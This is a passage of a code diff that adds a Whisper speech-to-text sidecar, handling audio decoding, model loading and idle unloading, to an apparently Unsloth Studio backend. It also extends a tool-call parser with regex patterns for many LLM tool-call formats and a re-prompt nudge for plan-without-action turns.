+            max_minutes = _MAX_AUDIO_SECONDS // 60
+            unit = "minute" if max_minutes == 1 else "minutes"
+            raise SttAudioTooLongError(f"Audio must be {max_minutes} {unit} or shorter.")
+        raw_buffer.write(array)
+
+    try:
+        with av.open(io.BytesIO(audio), mode = "r", metadata_errors = "ignore") as container:
+            if not container.streams.audio:
+                raise SttAudioDecodeError("Could not decode the audio.")
+            frames = iter(container.decode(audio = 0))
+            while True:
+                try:
+                    frame = next(frames)
+                except StopIteration:
+                    break
+                except InvalidDataError:
+                    # Skip a corrupt frame rather than fail the whole transcription.
+                    continue
+                frame.pts = None
+                fifo.write(frame)
+                if fifo.samples >= 500000:
+                    for resampled in resampler.resample(fifo.read()):
+                        write_frame(resampled)
+            if fifo.samples > 0:
+                for resampled in resampler.resample(fifo.read()):
+                    write_frame(resampled)
+            for resampled in resampler.resample(None):
+                write_frame(resampled)
+    except (SttAudioDecodeError, SttAudioTooLongError):
+        raise
+    except (FFmpegError, ValueError, RuntimeError) as exc:
+        raise SttAudioDecodeError("Could not decode the audio.") from exc
+    finally:
+        del fifo, resampler
+
+    if sample_count == 0:
+        raise SttAudioDecodeError("Could not decode the audio.")
+    decoded = np.frombuffer(raw_buffer.getbuffer(), dtype = np.int16).astype(np.float32)
+    decoded /= 32768.0
+    return decoded
+
+
+class WhisperSttSidecar:
+    """Lazily loaded Whisper model with idle eviction. Thread-safe."""
+
+    def __init__(self, keep_alive_seconds: float = STT_KEEP_ALIVE_SECONDS) -> None:
+        self._engine = None
+        self._model_id: Optional[str] = None
+        self._device: Optional[str] = None
+        self._lock = threading.RLock()
+        self._load_state_lock = threading.Lock()
+        self._loading = False
+        self._load_cancel_event: Optional[threading.Event] = None
+        self._keep_alive_seconds = max(0.0, keep_alive_seconds)
+        self._idle_timer: Optional[threading.Timer] = None
+        self._idle_generation = 0
+
+    @property
+    def loaded_model(self) -> Optional[str]:
+        return self._model_id
+
+    @property
+    def device(self) -> Optional[str]:
+        return self._device
+
+    def is_loading(self) -> bool:
+        with self._load_state_lock:
+            return self._loading
+
+    def cancel_pending_load(self) -> bool:
+        """Cancel a model load without waiting for the model lock."""
+        with self._load_state_lock:
+            event = self._load_cancel_event
+            if not self._loading or event is None:
+                return False
+            event.set()
+            return True
+
+    def wait_for_load_to_settle(self) -> None:
+        """Block until any in-flight load() has exited and freed its memory.
+
+        load() holds self._lock throughout, including the from_pretrained()/
+        .to(device) allocation and cancel cleanup, so acquiring the lock here
+        waits for that memory to be freed.
+        """
+        with self._lock:
+            pass
+
+    def _begin_load(self) -> threading.Event:
+        event = threading.Event()
+        with self._load_state_lock:
+            self._load_cancel_event = event
+            self._loading = True
+        return event
+
+    def _end_load(self, event: threading.Event) -> None:
+        with self._load_state_lock:
+            if self._load_cancel_event is event:
+                self._load_cancel_event = None
+                self._loading = False
+
+    @staticmethod
+    def _raise_if_load_cancelled(event: threading.Event) -> None:
+        if event.is_set():
+            raise SttLoadCancelledError("STT model loading was cancelled so training could start.")
+
+    @property
+    def keep_alive_seconds(self) -> float:
+        return self._keep_alive_seconds
+
+    def _cancel_idle_unload_locked(self) -> None:
+        self._idle_generation += 1
+        timer = self._idle_timer
+        self._idle_timer = None
+        if timer is not None:
+            timer.cancel()
+
+    def _schedule_idle_unload_locked(self) -> None:
+        self._cancel_idle_unload_locked()
+        if self._engine is None or self._keep_alive_seconds <= 0:
+            return
+        generation = self._idle_generation
+        timer = threading.Timer(
+            self._keep_alive_seconds,
+            self._idle_unload,
+            args = (generation,),
+        )
+        timer.daemon = True
+        self._idle_timer = timer
+        timer.start()
+
+    def _idle_unload(self, generation: int) -> None:
+        with self._lock:
+            if generation != self._idle_generation or self._engine is None:
+                return
+            logger.info("Unloading idle STT model %s", self._model_id)
+            self._release_engine_locked()
+
+    def _release_engine_locked(self) -> None:
+        self._cancel_idle_unload_locked()
+        engine = self._engine
+        device = self._device
+        self._engine = None
+        self._model_id = None
+        self._device = None
+        del engine
+        _clear_device_cache(device)
+
+    def _build_model(self, snapshot_path: str, device: str, dtype, cancel_event: threading.Event):
+        """Load a Whisper model + processor from the local Hub cache.
+
+        local_files_only keeps the Model Hub the only download path; a cache
+        miss raises so the caller can surface SttModelNotDownloadedError.
+        """
+        import torch
+        from transformers import WhisperForConditionalGeneration, WhisperProcessor
+
+        processor = None
+        model = None
+        try:
+            processor = WhisperProcessor.from_pretrained(snapshot_path, local_files_only = True)
+            self._raise_if_load_cancelled(cancel_event)
+            # use_safetensors forces the pickle-free load path even if a
+            # pytorch_model.bin somehow reached the cache; the selector and the
+            # completeness check already exclude pickle weights upstream.
+            model = WhisperForConditionalGeneration.from_pretrained(
+                snapshot_path, torch_dtype = dtype, local_files_only = True, use_safetensors = True
+            )
+            self._raise_if_load_cancelled(cancel_event)
+            model.to(torch.device(device))
+            self._raise_if_load_cancelled(cancel_event)
+            model.eval()
+            return model, processor
+        except SttLoadCancelledError:
+            model = None
+            processor = None
+            _clear_device_cache(device)
+            raise
+
+    def _ensure_model_downloaded(self, model_id: str) -> _CachedSttSnapshot:
+        """Validate the local snapshot before decode or model replacement.
+
+        Returns the checkpoint's multilingual flag when local metadata provides
+        it. Curated defaults are known multilingual.
+        """
+        model_id = resolve_model_id(model_id)
+        with self._lock:
+            if self._engine is not None and self._model_id == model_id:
+                resident_model = (
+                    self._engine[0] if isinstance(self._engine, (tuple, list)) else self._engine
+                )
+                generation_config = getattr(resident_model, "generation_config", None)
+                is_multilingual = getattr(generation_config, "is_multilingual", None)
+                return _CachedSttSnapshot(
+                    path = None,
+                    is_multilingual = is_multilingual if isinstance(is_multilingual, bool) else None,
+                )
+        snapshot_path = _find_complete_cached_snapshot(model_id)
+        if snapshot_path is None:
+            raise SttModelNotDownloadedError(
+                f"STT model '{model_id}' is not downloaded. "
+                "Download it in Settings, then Voice, before loading it."
+            )
+
+        if model_id in STT_MODELS:
+            return _CachedSttSnapshot(path = snapshot_path, is_multilingual = True)
+
+        if not _is_whisper_config(_read_json_object(snapshot_path / "config.json")):
+            raise SttModelCompatibilityError(
+                f"STT model '{model_id}' is not a compatible Transformers Whisper model."
+            )
+        generation_config = _read_json_object(snapshot_path / "generation_config.json")
+        is_multilingual = generation_config.get("is_multilingual")
+        if isinstance(is_multilingual, bool):
+            return _CachedSttSnapshot(path = snapshot_path, is_multilingual = is_multilingual)
+        if resolve_model_repo(model_id).lower().endswith(".en"):
+            return _CachedSttSnapshot(path = snapshot_path, is_multilingual = False)
+        return _CachedSttSnapshot(path = snapshot_path, is_multilingual = None)
+
+    def load(self, model: Optional[str] = None):
+        """Load (or switch to) a model, reusing it if already resident.
+
+        Returns a ``(model, processor)`` pair.
+        """
+        model_id = resolve_model_id(model)
+        with self._lock:
+            ensure_stt_available()
+            if self._engine is not None and self._model_id == model_id:
+                self._schedule_idle_unload_locked()
+                return self._engine
+            import torch
+
+            cancel_event = self._begin_load()
+            candidate = None
+            device: Optional[str] = None
+            try:
+                cached = self._ensure_model_downloaded(model_id)
+                snapshot_path = cached.path
+                if snapshot_path is None:
+                    raise SttModelNotDownloadedError(
+                        f"STT model '{model_id}' is not downloaded. "
+                        "Download it in Settings, then Voice, before loading it."
+                    )
+                self._raise_if_load_cancelled(cancel_event)
+                device, dtype = _pick_device()
+                self._release_engine_locked()
+                logger.info("Loading STT model %s (%s) on %s", model_id, snapshot_path, device)
+
+                def not_downloaded(cause: BaseException) -> SttModelNotDownloadedError:
+                    return SttModelNotDownloadedError(
+                        f"STT model '{model_id}' is not downloaded. "
+                        "Download it in Settings, then Voice, before loading it."
+                    )
+
+                retry_on_cpu = False
+                try:
+                    candidate = self._build_model(str(snapshot_path), device, dtype, cancel_event)
+                    self._raise_if_load_cancelled(cancel_event)
+                except SttLoadCancelledError:
+                    raise
+                except Exception as exc:
+                    if _is_missing_local_model_error(exc):
+                        raise not_downloaded(exc) from exc
+                    if device == "cpu":
+                        raise
+                    logger.warning("STT load on %s failed (%s); retrying on CPU", device, exc)
+                    retry_on_cpu = True
+                if retry_on_cpu:
+                    # Retry outside the handler: live exception state pins frames
+                    # referencing the partly loaded model, so leave it before
+                    # clearing the cache to release that memory.
+                    _clear_device_cache(device)
+                    try:
+                        candidate = self._build_model(
+                            str(snapshot_path),
+                            "cpu",
+                            torch.float32,
+                            cancel_event,
+                        )
+                        self._raise_if_load_cancelled(cancel_event)
+                    except SttLoadCancelledError:
+                        raise
+                    except Exception as cpu_exc:
+                        if _is_missing_local_model_error(cpu_exc):
+                            raise not_downloaded(cpu_exc) from cpu_exc
+                        raise
+                    device = "cpu"
+                with self._load_state_lock:
+                    self._raise_if_load_cancelled(cancel_event)
+                    self._engine = candidate
+                    self._model_id = model_id
+                    self._device = device
+                    self._load_cancel_event = None
+                    self._loading = False
+                self._schedule_idle_unload_locked()
+                logger.info("STT model %s ready on %s", model_id, device)
+                return self._engine
+            except SttLoadCancelledError:
+                candidate = None
+                self._release_engine_locked()
+                _clear_device_cache(device)
+                raise
+            finally:
+                self._end_load(cancel_event)
+
+    def _transcribe_decoded(self, model_id: str, decoded_audio, generate_kwargs: dict) -> str:
+        """Run Whisper on already-decoded 16 kHz mono PCM and return text.
+
+        Feeds a pre-decoded array so nothing here touches the Transformers audio
+        path (torchcodec/ffmpeg). Splits into 30s windows (Whisper's receptive
+        field); short clips take one pass.
+        """
+        import torch
+
+        model, processor = self.load(model_id)
+        effective_generate_kwargs = dict(generate_kwargs)
+        generation_config = getattr(model, "generation_config", None)
+        if getattr(generation_config, "is_multilingual", None) is False:
+            # English-only checkpoints fix language and task in their generation
+            # config, and Transformers rejects passing them here.
+            effective_generate_kwargs.pop("task", None)
+            effective_generate_kwargs.pop("language", None)
+        window = 30 * _TARGET_SAMPLE_RATE
+        target_dtype = getattr(model, "dtype", None)
+        parts: list[str] = []
+        with torch.no_grad():
+            for start in range(0, max(len(decoded_audio), 1), window):
+                segment = decoded_audio[start : start + window]
+                if segment.size == 0:
+                    continue
+                inputs = processor(
+                    segment,
+                    sampling_rate = _TARGET_SAMPLE_RATE,
+                    return_tensors = "pt",
+                )
+                features = inputs.input_features.to(model.device)
+                if target_dtype is not None:
+                    features = features.to(target_dtype)
+                generated = model.generate(features, **effective_generate_kwargs)
+                text = processor.batch_decode(generated, skip_special_tokens = True)
+                parts.append(text[0] if text else "")
+        return " ".join(part.strip() for part in parts if part.strip()).strip()
+
+    def transcribe(
+        self,
+        audio: bytes,
+        model: Optional[str] = None,
+        language: Optional[str] = None,
+        fast: bool = False,
+    ) -> dict:
+        """Transcribe encoded audio bytes to text.
+
+        Accepts any container PyAV can decode: wav, mp3, opus/webm, ogg,
+        m4a/aac. Returns {text, language, duration, model}.
+        """
+        # Reject a missing runtime up front, before the cache and bounded decode.
+        ensure_stt_available()
+        # A set language beats auto-detect. API takes BCP-47; Whisper wants short
+        # codes like en or fr.
+        lang = normalize_whisper_language(language)
+        # Pin the requested id: another request may switch the resident model
+        # mid-transcription, so sidecar state is not this request's identity.
+        model_id = resolve_model_id(model)
+        known_languages = _known_whisper_languages()
+        if lang is not None and known_languages is not None and lang not in known_languages:
+            raise SttLanguageError(
+                f"Language '{language}' is not supported by STT model '{model_id}'."
+            )
+        cached = self._ensure_model_downloaded(model_id)
+        if cached.is_multilingual is False and lang not in (None, "en"):
+            raise SttLanguageError(
+                f"Language '{language}' is not supported by English-only STT model '{model_id}'."
+            )
+        decoded_audio = _decode_audio_bounded(audio)
+        # condition_on_prev_tokens=False stops a fresh clip inheriting prior
+        # context, which causes runaway repeats.
+        generate_kwargs = {
+            "task": "transcribe",
+            "condition_on_prev_tokens": False,
+            "num_beams": 5,
+        }
+        if lang is not None:
+            generate_kwargs["language"] = lang
+        if fast:
+            # Short voiced clips: greedy decoding drops beam search for latency.
+            generate_kwargs["num_beams"] = 1
+        # Serialize inference with model switches and unloads.
+        with self._lock:
+            try:
+                text = self._transcribe_decoded(model_id, decoded_audio, generate_kwargs)
+            finally:
+                self._schedule_idle_unload_locked()
+        duration = (len(decoded_audio) / _TARGET_SAMPLE_RATE) if len(decoded_audio) else None
+        return {
+            "text": text,
+            "language": lang,
+            "duration": duration,
+            "model": model_id,
+        }
+
+    def unload(self) -> None:
+        with self._lock:
+            self._release_engine_locked()
+
+
+_sidecar: Optional[WhisperSttSidecar] = None
+
+
+def get_stt_sidecar() -> WhisperSttSidecar:
+    global _sidecar
+    if _sidecar is None:
+        _sidecar = WhisperSttSidecar()
+    return _sidecar
diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index ca3d1e4cbc..9b6b0a7773 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -2,39 +2,125 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 """
-Backend-neutral tool-call XML parser shared by GGUF and safetensors.
-Tolerates missing closing tags in either ``<tool_call>{json}</tool_call>``
-or ``<function=name><parameter=k>v...`` shape.
+Backend-neutral tool-call parser shared by GGUF, safetensors, and MLX, so the
+safetensors + MLX agentic loop sees the same call shape llama-server gives GGUF:
+
+  - ``<tool_call>{json}</tool_call>``           (Qwen / Hermes)
+  - ``<function=name><parameter=k>v</parameter></function>``  (Qwen3.5 xml)
+  - ``<|python_tag|>NAME.call(k="v", ...)``     (Llama-3 built-in tools)
+  - ``<|python_tag|>{"name":..., "parameters":...}``  (Llama-3 custom)
+  - ``{"name":..., "parameters":...}``          (Llama-3.2 bare JSON)
+  - ``[TOOL_CALLS] [{...}, ...]``               (Mistral v0.3 / Nemo / Small)
+  - ``[TOOL_CALLS]name{json}``                  (Mistral v11+ / Magistral)
+  - ``[TOOL_CALLS]name[ARGS]{json}``            (Ministral / Mistral Large 3)
+  - ``<|tool_call>call:NAME{k:<|"|>v<|"|>}<tool_call|>``  (Gemma 4)
+  - ``<｜tool▁calls▁begin｜>...function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`...``  (DeepSeek R1)
+  - ``<｜tool▁calls▁begin｜>...<｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...``  (DeepSeek V3 / V3.1)
+  - ``<tool_call>NAME\\n<arg_key>k</arg_key>\\n<arg_value>v</arg_value>...</tool_call>``  (GLM 4.5 / 4.6 / 4.7)
+  - ``<|tool_calls_section_begin|>...<|tool_call_begin|>functions.NAME:IDX<|tool_call_argument_begin|>{json}<|tool_call_end|>...``  (Kimi K2)
+
+Missing closing tags / brackets are tolerated: models often truncate mid-stream.
 """
 
+# Lazy annotations keep the standalone python 3.9 import working.
+from __future__ import annotations
+
+import json
+import re
+from typing import Any, Optional
+
+# Qwen/Hermes, Qwen3.5 XML and Gemma 4 live in core.tool_healing; this module adds the rest.
 from core import tool_healing as _tool_healing
 
 
-_TOOL_ALL_PATS = _tool_healing._TOOL_ALL_PATS
+# Flip the streaming buffer STREAMING->DRAINING so partial markup never leaks.
+TOOL_XML_SIGNALS = (
+    "<tool_call>",
+    "<function=",
+    '<function name="',
+    "<|python_tag|>",
+    "[TOOL_CALLS]",
+    "<|tool_call>",
+    # Bare reasoning-rehearsal marker (``name[ARGS]{...}``, no leading [TOOL_CALLS]);
+    # keeps a rehearsed call held in the stream so it is promoted, not leaked as prose.
+    "[ARGS]",
+    # DeepSeek R1 / V3 / V3.1 -- 5 opener variants llama.cpp keeps.
+    "<｜tool▁calls▁begin｜>",
+    "<｜tool▁call▁begin｜>",
+    "<｜tool_calls_begin｜>",
+    "<｜tool▁calls｜>",
+    "<｜tool calls begin｜>",
+    "<｜tool\\_calls\\_begin｜>",
+    # Kimi K2 / Moonshot.
+    "<|tool_calls_section_begin|>",
+    "<|tool_call_begin|>",
+    # TML Inkling native call marker.
+    "<|content_invoke_tool_json|>",
+)
 
 
-def parse_tool_calls_from_text(
-    content: str,
-    *,
-    id_offset: int = 0,
-    allow_incomplete: bool = True,
-) -> list[dict]:
-    return _tool_healing.parse_tool_calls_from_text(
-        content,
-        id_offset = id_offset,
-        allow_incomplete = allow_incomplete,
-    )
+# DeepSeek opener variants; shared by parse and strip so a parsed signal is always stripped.
+_DEEPSEEK_OPEN_ALT = (
+    r"tool▁calls▁begin|tool_calls_begin|tool calls begin|tool\\_calls\\_begin|tool▁calls"
+)
+_DEEPSEEK_OPEN_RE_SRC = r"<｜(?:" + _DEEPSEEK_OPEN_ALT + r")｜>"
+
+# Closed pairs only (mid-stream); _TOOL_ALL_PATS also eats unclosed tails at
+# end-of-turn. ``[\w-]+`` on ``<function=...>`` tracks OpenAI's
+# ``^[a-zA-Z0-9_-]{1,64}$`` so hyphenated MCP names parse like built-ins.
+_TOOL_CLOSED_PATS = [
+    re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
+    # Span to the real ``</function>`` so a literal one inside a value can't truncate the strip.
+    re.compile(
+        r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>'
+        r'(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*'
+        r"</function>",
+        re.DOTALL,
+    ),
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+    re.compile(r"\[TOOL_CALLS\]\s*\[.*?\](?:\s*</s>)?", re.DOTALL),
+    # Mistral v11+ ``[TOOL_CALLS]name{json}`` (may chain), close at ``}``.
+    re.compile(r"\[TOOL_CALLS\]\s*[\w\.\-]+\s*(?:\[ARGS\])?\s*\{.*?\}", re.DOTALL),
+    # DeepSeek R1 / V3 / V3.1: full envelope (any opener variant) ... end.
+    re.compile(_DEEPSEEK_OPEN_RE_SRC + r".*?<｜tool▁calls▁end｜>", re.DOTALL),
+    # Kimi K2: ``<|tool_calls_section_begin|>...<|tool_calls_section_end|>``.
+    re.compile(r"<\|tool_calls_section_begin\|>.*?<\|tool_calls_section_end\|>", re.DOTALL),
+    # Kimi K2 section-less closed call; else the catch-all below eats trailing prose to EOS.
+    re.compile(r"<\|tool_call_begin\|>.*?<\|tool_call_end\|>", re.DOTALL),
+]
+_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
+    re.compile(r"<tool_call>.*$", re.DOTALL),
+    re.compile(r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>.*$', re.DOTALL),
+    # Bare-word markers drop a trailing truncated call only when a call-shaped start
+    # follows; a prose mention (``See [TOOL_CALLS] docs...``) keeps its tail. Bare marker at EOF drops.
+    re.compile(r"<\|tool_call>(?=\s*call\s*:|\s*$).*$", re.DOTALL),
+    re.compile(
+        r"\[TOOL_CALLS\](?=\s*(?:[\[{]|[A-Za-z_][\w.\-]*(?:[\[{]|\s*$))|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(
+        r"<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\()|\s*$).*$",
+        re.DOTALL,
+    ),
+    # DeepSeek envelopes truncated mid-stream (any opener); same call-shaped lookahead as above.
+    re.compile(
+        _DEEPSEEK_OPEN_RE_SRC + r"(?=\s*(?:<｜tool▁call▁begin｜>|function)|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(r"<｜tool▁call▁begin｜>(?=\s*function|\s*$).*$", re.DOTALL),
+    # Kimi K2 envelope truncated.
+    re.compile(
+        r"<\|tool_calls_section_begin\|>(?=\s*<\|tool_call_begin\|>|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(
+        r"<\|tool_call_begin\|>(?=\s*[A-Za-z_][\w.\-]*:\d|\s*$).*$",
+        re.DOTALL,
+    ),
+    # Gemma wrapper-less ``call:NAME{...}`` is handled by ``_strip_gemma_wrapperless_calls`` (enabled-name gate).
+]
 
 
-def strip_tool_markup(text: str, *, final: bool = False) -> str:
-    return _tool_healing.strip_tool_call_markup(text, final = final)
-
-
-# Prefixes the streaming buffer watches for to gate in-progress text.
-TOOL_XML_SIGNALS = ("<tool_call>", "<|tool_call>", "<function=")
-
-
-# Nudges + error prefixes shared by the GGUF and safetensors loops.
 TOOL_ERROR_PREFIXES = (
     "Error",
     "Search failed",
@@ -70,8 +156,7 @@ BUDGET_EXHAUSTED_NUDGE = (
     "any more tools."
 )
 
-# The exact-args dup guard misses paraphrased re-searches, so also cap executed
-# KB searches per turn, then nudge.
+# The exact-args dup guard misses paraphrased re-searches, so also cap KB searches per turn.
 RAG_MAX_SEARCHES_PER_TURN = 3
 RAG_SEARCH_CAP_NUDGE = (
     "You have already searched the knowledge base several times this turn. "
@@ -80,6 +165,2614 @@ RAG_SEARCH_CAP_NUDGE = (
 )
 
 
+# ── Plan-without-action re-prompt (shared by the GGUF and safetensors loops) ──
+# Forward-looking intent: the model says what it *will* do, not a final answer.
+INTENT_SIGNAL = re.compile(
+    r"(?i)("
+    # Direct intent ("I'll", "Let me"); lookahead drops negated forms
+    # ("I will not") so a refusal does not re-prompt.
+    r"\b(i['\u2019](ll|m going to|m gonna)|i am (going to|gonna)|i will|i shall|let me|allow me)\b(?!\s+(?:not|never)\b)"
+    r"|"
+    # Step/plan framing: "First ...", "Step 1:", "Here's my plan"
+    r"\b(?:first\b|step \d+:?|here['\u2019]?s (?:my |the |a )?(?:plan|approach))"
+    r"|"
+    r"\b(?:now i|next i)\b"
+    r")"
+)
+# Matches GGUF's established default (llama_cpp.py has re-prompted up to 3
+# times since #5620); safetensors and MLX inherit the same cap from here.
+MAX_ACT_REPROMPTS = 3
+REPROMPT_MAX_CHARS = 2000
+
+
+def is_short_intent_without_action(text: str) -> bool:
+    stripped = text.strip()
+    return 0 < len(stripped) < REPROMPT_MAX_CHARS and INTENT_SIGNAL.search(stripped) is not None
+
+
+def reprompt_to_act_message(tool_hint: str) -> str:
+    """The user message appended when re-prompting a plan-without-action turn."""
+    return (
+        "You have access to enabled tools. If a tool is needed to satisfy "
+        "the user's request or complete the action you described, call "
+        f"{tool_hint} now. If no tool is needed, provide the final answer "
+        "and follow the user's requested format."
+    )
+
+
+# Qwen / Hermes ``<tool_call>{json}``.
+_TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
+# Qwen3.5 ``<function=name>`` and the attribute form ``<function name="name">``
+# (MiniCPM-5, MiniMax-M2); name class ``[\w.\-]+`` lands in group(1) or group(2).
+_TC_FUNC_START_RE = re.compile(r'<function(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>\s*')
+# Body ends at ``</tool_call>`` (Hermes) or ``</function>`` (Qwen3.5 / MiniCPM-5)
+# so it stops at the close even when prose follows (else prose leaked into args).
+_TC_END_TAG_RE = re.compile(r"</(?:tool_call|function)>")
+_TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
+# Horizontal whitespace only (``[^\S\n]*``, not ``\s*``) so the wrapping newline +
+# first-line indentation survive; ``_trim_param_value`` trims one newline, preserving
+# code indentation (SGLang qwen3_coder).
+_TC_PARAM_START_RE = re.compile(
+    r'<(?:parameter|param)(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>[^\S\n]*'
+)
+_TC_PARAM_CLOSE_RE = re.compile(r"\s*</(?:parameter|param)>\s*$")
+
+# Llama-3 ``<|python_tag|>NAME.call(...)``.
+_LLAMA3_PYTHON_TAG = "<|python_tag|>"
+_LLAMA3_PY_CALL_RE = re.compile(
+    r"<\|python_tag\|>\s*([\w\.\-]+)\s*\.\s*call\s*\(",
+)
+# Anchored at a fixed offset (char after ``<|python_tag|>``) plus the ``; NAME.call(``
+# chain separator; fixed-offset (not a free scan) ignores ``.call(`` inside JSON args.
+_LLAMA3_PY_CALL_HEAD_RE = re.compile(r"\s*([\w\.\-]+)\s*\.\s*call\s*\(")
+_LLAMA3_CALL_CHAIN_RE = re.compile(r"\s*;\s*([\w\.\-]+)\s*\.\s*call\s*\(")
+# Llama-3 ``.call(k=v)`` kwarg tokens, hand-scanned below (not finditer) to stay
+# linear on a truncated body; finditer retries every offset of a long run (ReDoS).
+_LLAMA3_KEY_RE = re.compile(r"\w+")
+_LLAMA3_WS_RE = re.compile(r"\s*")
+# ints, decimals (1.5, 1., .5) and sci notation; trailing ``(?![\w.])`` stops a token
+# like ``1.2.3`` being truncated to ``1.2`` (which would mis-parse the remainder).
+_LLAMA3_NUM_RE = re.compile(r"-?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?(?![\w.])")
+_LLAMA3_LIT_RE = re.compile(r"true|false|null")
+
+# Mistral ``[TOOL_CALLS]`` trigger. v11+ chains them, each followed by a bare name
+# plus ``{json}`` (Magistral) or ``[ARGS]{json}`` (Ministral / Large 3).
+_MISTRAL_TRIGGER = "[TOOL_CALLS]"
+_MISTRAL_ARGS_MARKER = "[ARGS]"
+# Mistral Small 3.2 emits ``name[CALL_ID]<id>[ARGS]{json}`` (absent on Ministral /
+# Magistral); llama.cpp distinguishes the two on ``[CALL_ID]`` (common/chat.cpp).
+_MISTRAL_CALL_ID_MARKER = "[CALL_ID]"
+# Magistral wraps reasoning in ``[THINK]...[/THINK]``; a ``[TOOL_CALLS]`` inside
+# that block is chain-of-thought, not a real call.
+_MISTRAL_THINK_OPEN = "[THINK]"
+_MISTRAL_THINK_CLOSE = "[/THINK]"
+_MISTRAL_V11_NAME_RE = re.compile(r"\s*([\w\.\-]+)\s*")
+
+# DeepSeek markers (full-width pipe U+FF5C, block U+2581); five outer-open variants like llama.cpp.
+_DEEPSEEK_BEGIN_RE = re.compile(_DEEPSEEK_OPEN_RE_SRC)
+_DEEPSEEK_END = "<｜tool▁calls▁end｜>"
+_DEEPSEEK_CALL_BEGIN = "<｜tool▁call▁begin｜>"
+_DEEPSEEK_SEP = "<｜tool▁sep｜>"
+_DEEPSEEK_CALL_END = "<｜tool▁call▁end｜>"
+# R1 wraps args in a ```json fence with a ``function`` prefix; V3/V3.1 do not.
+# Scanned with ``str.find`` -- the regex forms are O(N^2) on truncated bodies.
+_DEEPSEEK_R1_FUNC_MARKER = "function" + _DEEPSEEK_SEP
+_DEEPSEEK_R1_FENCE = "\n```json\n"
+_DEEPSEEK_R1_CLOSE_RE = re.compile(r"```[\s\r\n]*" + re.escape(_DEEPSEEK_CALL_END))
+
+# GLM 4.5-4.7: ``<tool_call>NAME[\n]<arg_key>K</arg_key>...``; the lookahead also allows a
+# direct ``<arg_key>``/``</tool_call>`` (4.7 drops the newline, zero-arg calls close at once).
+# Name class ``[\w.\-]+`` keeps prose like ``<tool_call>not a call</tool_call>`` unparsed;
+# ``{`` stays with the Qwen JSON parser.
+_GLM_TC_OPEN_RE = re.compile(r"<tool_call>\s*([\w.\-]+)\s*(?=\n|<arg_key>|</tool_call>)")
+_GLM_TC_CLOSE = "</tool_call>"
+_GLM_ARG_KEY_OPEN = "<arg_key>"
+_GLM_ARG_KEY_CLOSE = "</arg_key>"
+_GLM_ARG_VAL_OPEN = "<arg_value>"
+_GLM_ARG_VAL_CLOSE = "</arg_value>"
+# Strings arrive raw, non-strings via tojson; only unambiguous JSON literals decode
+# (bare ``42``/``true``/``null`` stay strings).
+_GLM_JSON_NUMERIC_RE = re.compile(r"-?\d+(?:\.\d+)?(?:[eE][+-]?\d+)?")
+
+# Kimi K2 / Moonshot (ASCII pipes). Id ``functions.NAME:IDX`` -- strip ``functions.``/``:N`` for the name.
+_KIMI_SECTION_BEGIN = "<|tool_calls_section_begin|>"
+_KIMI_SECTION_END = "<|tool_calls_section_end|>"
+_KIMI_CALL_BEGIN = "<|tool_call_begin|>"
+_KIMI_ARG_BEGIN = "<|tool_call_argument_begin|>"
+_KIMI_CALL_END = "<|tool_call_end|>"
+_KIMI_ID_RE = re.compile(r"^(?:functions\.)?([\w\.\-]+)(?::(\d+))?$")
+
+# Gemma 4: ``<|tool_call>call:NAME{...}<tool_call|>``, ``<|"|>`` wraps strings.
+_GEMMA_TC_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w\.\-]+)\s*\{")
+_GEMMA_STR_BEGIN = '<|"|>'
+_GEMMA_STR_END = '<|"|>'
+_GEMMA_TC_END = "<tool_call|>"
+
+# skip_special_tokens strips the wrapper and ``<|"|>`` markers, so streamed Gemma calls
+# arrive as bare ``call:NAME{k:v, ...}``; ``(?<!\w)`` avoids ``recall:``.
+_GEMMA_BARE_TC_RE = re.compile(r"(?<!\w)call\s*:\s*([\w\.\-]+)\s*\{")
+# Partial leading prefix (``call``, ``call :``, ``call : name``) so the streaming buffer
+# holds it instead of leaking visible text.
+_GEMMA_BARE_TC_PREFIX_RE = re.compile(r"(?<!\w)call\s*(?::\s*[\w\.\-]*)?$")
+# Keys start with a letter/underscore so ``10:00, 11:00`` in a value isn't misread as a new key.
+_GEMMA_KEY_RE = re.compile(r"\s*([A-Za-z_][\w.\-]*)\s*:")
+
+
+def _balanced_bracket_end(text: str, start: int) -> int | None:
+    """Index of the ``]`` matching ``[`` at ``text[start]`` (ignores brackets in JSON strings)."""
+    if start >= len(text) or text[start] != "[":
+        return None
+    depth = 0
+    in_string = False
+    esc = False
+    i = start
+    while i < len(text):
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    return i
+        i += 1
+    return None
+
+
+def _skip_mistral_call_id(text: str, pos: int) -> int:
+    """Skip an optional ``[CALL_ID]<id>`` (Mistral Small 3.2); return the next token pos."""
+    n = len(text)
+    i = pos
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    if not text.startswith(_MISTRAL_CALL_ID_MARKER, i):
+        return pos
+    i += len(_MISTRAL_CALL_ID_MARKER)
+    while i < n and text[i] in " \t\n\r":
+        i += 1
